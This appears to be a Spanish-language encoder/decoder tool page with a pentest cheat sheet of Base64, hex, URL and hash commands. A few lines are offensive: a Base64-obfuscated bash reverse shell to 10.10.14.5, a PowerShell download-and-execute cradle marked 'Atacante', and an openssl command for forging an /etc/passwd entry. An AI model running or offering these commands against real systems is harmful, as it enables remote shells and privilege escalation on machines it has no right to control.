Codificador y decodificador
Escribe en la entrada y elige una operación. Con «Usar la salida como entrada» puedes encadenar varias (por ejemplo, URL → Base64). Todo se calcula en tu navegador.
Salida
Hashes de la entrada
| MD5 | |
|---|---|
| SHA-1 | |
| SHA-256 | |
| SHA-512 | |
| NTLM | |
Tus datos
Se guardan en este navegador y se aplican a todas las chuletas.
Base64
Codificar sin saltos de línea
echo -n 'texto' | base64 -w0
Decodificar
echo 'dGV4dG8=' | base64 -d
Ejecutar un comando codificado (evita caracteres prohibidos)
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC41LzQ0MyAwPiYx | base64 -d | bash
PowerShell codificado (UTF-16LE)
Atacante
echo -n 'IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.5/s.ps1")' | iconv -t UTF-16LE | base64 -w0
Hex y URL
A hex
echo -n 'texto' | xxd -p
Desde hex
echo '746578746f' | xxd -r -p
URL-encode con Python
python3 -c 'import urllib.parse,sys; print(urllib.parse.quote(sys.argv[1], safe=""))' 'a b&c'
Hashes
MD5 / SHA-256
echo -n 'texto' | md5sum; echo -n 'texto' | sha256sum
Hash de una contraseña para /etc/passwd
openssl passwd -6 'pwned123'
NTLM
python3 -c 'import hashlib,sys; print(hashlib.new("md4", sys.argv[1].encode("utf-16le")).hexdigest())' 'Password123!'
En OpenSSL 3 MD4 está en el proveedor legacy; si falla, usa pycryptodome o este codificador.
Ningún comando coincide.